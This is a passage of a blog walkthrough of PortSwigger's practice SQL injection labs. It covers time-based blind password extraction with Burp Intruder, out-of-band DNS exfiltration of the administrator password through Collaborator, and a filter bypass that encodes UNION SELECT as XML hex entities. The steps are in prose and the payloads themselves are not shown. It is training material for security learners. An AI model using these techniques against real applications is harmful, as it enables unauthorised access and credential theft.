Again, we see that the response is 10,000 milliseconds meaning that it waited 10 seconds, confirming that the administrator user exists as well as having a password greater than 1 character. Next, we can try a larger number, say 25 characters, and see if we get the same response:

Once set, we send it and wait:

However, this time, we get a response of 96 milliseconds meaning that it ended up being FALSE and it did not sleep for 10 seconds. This tells us that the password is not greater than 25 characters. We could do this manually and find out where the threshold is, or we can be lazy like true hackers and use Intruder.

To use Intruder, we first send the request over and set the position to be that number:

Once set, we can then set the payload type to be numbers and set the range to go from 1 to 25 sequentially:

However, before just running this attack, we need to set a different resource pool. This is because if we use 10 concurrent threads, it will mess up the time-based SQL injection. Instead, we simply set the maximum concurrent requests to 1:

After a few minutes, we can see the finished results:

If we sort by response received, we can see that 6 requests have a much shorter response time as opposed to the rest which are all over 10 seconds. This tells us that these requests evaluated to FALSE, meaning the password was not greater than their set value.

Here, we can see the lowest number was 20 which evaluated to FALSE, meaning that our password is 20 characters long. This is because 19 evaluated to TRUE meaning the password was greater than 19, but was not greater than 20:

Now that we know the length of the password, we can enumerate the administrator's password by using SUBSTRING and checking if the first character of the password is equal to the 'a' character. If it is, it should wait 10 seconds. If it doesn't, then it won't wait 10 seconds:

With this payload configured, let's send it and see how long it takes:

In this case, it does not wait 10 seconds, telling us that the first character was not 'a'. Therefore, we can move on and enumerate the next character. However, instead of doing this manually, we can call upon our trusty friend Intruder again to speed this up.

First, we send the request over and select the payload position to be that character:

Then, we set the payload type to be brute forcer with the character set and a min/max length of 1 so we try 1 character at a time:

Once set, we start it and wait for it to do its thing:

As you can see above, there is one request that stands out when we look at the response time. Here, the character 'd' has a much higher response time. This is because it evaluated to TRUE, meaning the sleep for 10 second clause got executed and it waited 10 seconds.

Because of this, we can confirm the first character to be 'd'.

Finally, the last step is to use a cluster bomb attack to go through the entire 20 character password and reveal the administrator password. To do this, we simply select the first position to be the position in the substring and the second position to be the character:

Then, we set the payload set 1 to be a numbers payload and set it to go sequentially from 1 to 20 since we know it is a 20 character password:

Then, we set the second payload to brute forcer as we did before, using the default character set and setting the min/max length to 1:

Finally once configured, we can start the attack and wait patiently. After a couple of minutes, the attack finishes and we can filter by response time since we are looking for all requests that were over 10 seconds as that means it evaluated to TRUE:

To make this easier, we can highlight each of these requests and then only show highlighted items. Once we do that, we can then sort by payload 1 and we will get the password in order:

As we can see, the password starts to form. Extracting each of these characters into a simple notepad document, we get the following final string:

With this in hand, we can login as the administrator user and complete the lab:

Lab 15 - Blind SQLi with Out-of-Band Interaction

Again, we start the lab up. Once started, we can navigate to the home page:

Again, in the request to the home page, we see a TrackingId cookie has been set and it is sent to the server on subsequent requests:

Now, for this lab, we need Burp Professional Edition so we can use the Collaborator client. In the real-world, you could use a domain that you own, but PortSwigger limits it to Collaborator produced domains.

If we have Burp Pro, we can navigate to the Collaborator tab and hit the "copy to clipboard" button to generate a domain:

In this case, we receive the following domain:

Now, to do a DNS lookup, we can use various different payloads as shown by the PortSwigger SQL cheat sheet seen below:

Let's take the first payload (for Oracle), paste it into our Notepad document and change the http domain to our generated domain:

Additionally, since we are injected this, we need to add a single quote at the start, the concatenation operator to execute a second query and then comment out the rest of a query using the double dash syntax:

Let's now take this request into Repeater and paste it in the TrackingId cookie parameter:

Finally, let's send this over to the server. I won't discuss exactly what this payload is doing for now, but ultimately it uses an XXE vulnerability which we discuss in a later blog post when we cover the XXE labs:

We can see a 200 OK response which likely means our request went through successfully. Let's go back to the Collaborator client and poll for any requests by hitting the "Poll now" button:

As we can see, there are 4 DNS requests to this domain, indicating that our payload worked and it communicated to our server using DNS. If we look deeper into the responses, we can see that it received a DNS lookup of type A to the domain name from the IP address 3.251.105.125:

From here, we can see that the banner drops down and we successfully complete the lab.

Lab 16 - Blind SQLi with Out-of-Band Data Exfiltration

Once we start the lab, we can intercept a request and see the same TrackingId cookie set as many labs before us:

Once again, as with the previous out-of-band lab, we can navigate to the Collaborator client and generate a new domain by hitting the "Copy to clipboard" button:

In this case, we get the following domain:

Again, PortSwigger provides us with a cheat sheet and many payloads that we can use for data exfiltration using a DNS lookup:

For this once, we can first try the Oracle syntax and see if it works. To do this, we can first copy the payload into our Notepad document:

Then, we can insert our generated domain into the section that asks for our collaborator subdomain alongside adding the single quote at the start, the concatenation at the start and the comment at the end:

Finally, we can insert the query we want to execute. For this one, we simply want to select the password from the users table where the username is equal to administrator:

Once we have this payload formed, we can simply paste it into Repeater:

With this configured, we can send the request forward and observe the response:

Again, we can see a 200 OK response indicating our payload worked. If we look at the Collaborator client and poll for requests, we can see 4 DNS request were made:

But where's the password we requested? Well, if we dig deeper into it, we can see that the request has the password appended to the start of it. The string before the domain we generate is the password itself - it was extracted as part of the DNS request:

With this, we can then login as administrator and complete the lab:

Lab 17 - SQLi with Filter Bypass via XML Encoding

Once we start the lab, we can navigate to the home page and see a simple looking shop again:

The first step is to map the application, play around and notice its functionality and everything it can do. If we go to a product page, we can notice the following at the bottom of the page:

It seems as if there is an option for us to check the stock of a particular product from a certain store. If we click the "check stock" button, we see a value of units gets returned to the page:

But, where is this value coming from? How is it generated? To answer that question, we can take a look at the request that returned this value in Burp Suite below:

Here, we can see that the value request was actually a POST request and the body contained details in XML format specifying the product ID and the store ID. The first thing we can try is breaking the XML request by injecting random things into it - for example, a single quote:

Here, we can see an interesting error message that appears. It tells us that is essentially detected an attack and likely stopped execution. Maybe there is some sort of WAF or firewall in place that is detecting these special characters.

What happens if we try and inject a keyword used in SQL injection attacks, such as the SELECT statement:

Again, we can see that the "Attack detected" message comes back - no go! When we encounter something like this, the first thing we can do is determine if it is filtering based on keywords or characters. To check this, we can remove the first letter of SELECT for example and instead send "ELECT":

As we can see, this does not return an error and instead runs as normal, albeit without returning the real value of units since we basically broke the XML query. However, we got some information out of it.

The next step we can do is trying some encoding. For example, since we know that the ELECT keyword words, but SELECT doesn't, we can try and only encode the "S" character using an XML escape sequence to encode the S character:

This time, we successfully bypass the defenses and the SELECT keyword gets through using the encoding. We can try and encode the full SELECT statement using something like HTML entities by utilizing CyberChef:

And we can see we return similiar looking encoded characters. With this in mind and knowing that the encoded keywords passed the filter test, we can try encoding a full UNION SELECT statement to select the usernames from the users table in HTML entity format:

With this payload in mind, we can try sending it using Repeater and see what happens in the response:

Hmmm... it looks like it gets bypassed but it doesn't actually run it as SQL code. Strange. However, the hawk-eyed among you may have noticed something. In the first encoded request we sent where we encoded the S only, its value became &#x53, however when we encoded it again, it came back with &#83. But that’s not the only reason.

Why could it be doing this? Well, it could be a number of issues. We could try different encoding mechanisms and play around. However, we do have two fields - Product ID and Store ID. Since we get a 200 OK response above, it seems like it executed correctly.

But it's important to understand that the Product ID field is not actually being reflected on the page - only the Store ID is. So what happens if we inject this into a field that is actually reflected? Let's try injecting it into the Store ID field:

And this time, it works! Our payload gets executed and we get the usernames returned to us as the Store ID is actually reflected onto the page. The next step is to grab the passwords. To do this, we can simply encode a new payload where we UNION SELECT and grab the password from the users table for the administrator user:

With this encoding done, we can send it using Repeater and hopefully pwn this account:

Sadly, that is not the case. We get an error - this time, it is an XML parsing error. When this happens, as discussed above we can try encoding it in different types. For example, on CyberChef, we can see that the HTML Entity option includes 3 types - Named, Numeric and Hex:

If we look back at the first encoding payload we did, we actually used hex entities with the S being encoded as "&#x53" where the x indicates hex. Additionally, we can also look at PortSwigger’s helpful documentation where it provides us an example which also uses hex entities:

With this in mind, if we encode the SELECT keyword again using the Hex entities format this time, we can see that familiar &#x53 encoded value we saw at the start:

Now, we can try encoding our full UNION SELECT statement to grab the passwords in this hex entities format:

With this payload copied, we can paste it into Repeater, send it over and cross our fingers:

It works! We don't get an XML parsing error anymore, likely because we are using the correct format that it wanted - hex entities. Now, we know there is an administrator user and we just extracted their password.

From here, we can simply take that password and login to complete the final SQL injection lab (for now!):

PortSwigger: All SQL Injection Labs Walkthrough

SQL Introduction

Login Example

Injection - Basic Example

Repercussions

Prevention

SQL Injection Introduction

Impact of Successful SQLi

SQL Injection Examples

Retrieving Hidden Data

Subverting Application Logic

Retrieving Data from Other Database Tables

More About UNION Attacks

Determine Number of Columns

Finding columns with a useful data type

Retrieving Interesting Data using SQLi UNION Attack

Retrieving Multiple Values within a Single Column

Examining the Database

Blind SQL Injection Vulnerabilities

More About Blind SQLi Attacks

Triggering Conditional Responses

Inducing Conditional Responses by Triggering SQL Errors

Triggering Time Delays

Out-of-band (OAST) Techniques

Out-of-band (OAST) Techniques

How to Detect SQLi Vulnerabilities

SQL injection in different parts of the query

SQL injection in different contexts

Second-order SQL injection

Database Specific Factors

How to Prevent SQL Injection

Deep Dive into SQL Injection

Impact of SQL Injection Attacks

How Common and Critical Are They?

Types of SQL Injection

In-Band (Classic) Injections

Error-Based SQL Injection

Union-Based SQL Injection

Inferential (Blind) Injections

Boolean-Based SQL Injection

Time-Based SQL Injection

Out-of-Band SQL Injection

How to Find SQLi Vulnerabilities

Black-Box Testing

White-Box Testing

How to Exploit SQLi Vulnerabilities

Exploiting Error-Based SQLi

Exploiting Union-Based SQLi

Exploiting Boolean-Based Blind SQLi

Exploiting Time-Based Blind SQLi

Exploiting-Out-of-Band SQLi

Automated Exploitation Tools

How to Prevent SQLi Vulnerabilities

Use of Prepared Statements

Partial Options

Additional Defenses

Lab 1 - SQLi in WHERE Clause Allowing Retrieval of Hidden Data

Lab 2 - SQLi Vulnerability Allowing Login Bypass

Lab 3 - SQLi UNION Attack - Determining No. of Columns

Lab 4 - SQLi UNION Attack - Finding a Column Containing Text

Lab 5 - SQLi UNION Attack - Retrieving Data from Other Tables

Lab 6 - SQLi UNION Attack - Retrieving Multiple Values in Single Column

Lab 7 - SQLi Attack - Query Database Type and Version on Oracle

Lab 8 - SQLi Attack - Query Database Type and and Version on MySQL

Lab 9 - SQLi Attack - Listing Database Contents on Non-Oracle Databases

Lab 10 - SQLi Attack - Listing Database Contents on Oracle

Lab 11 - Blind SQLi with Conditional Responses

Lab 12 - Blind SQLi with Conditional Errors

Lab 13 - Blind SQLi with Time Delays

Lab 14 - Blind SQLi with Time Delays and Information Retrieval

Lab 15 - Blind SQLi with Out-of-Band Interaction

Lab 16 - Blind SQLi with Out-of-Band Data Exfiltration

Lab 17 - SQLi with Filter Bypass via XML Encoding

PortSwigger: All Business Logic Vulnerability Labs

PortSwigger: All Authentication Labs Walkthrough

ComplexSec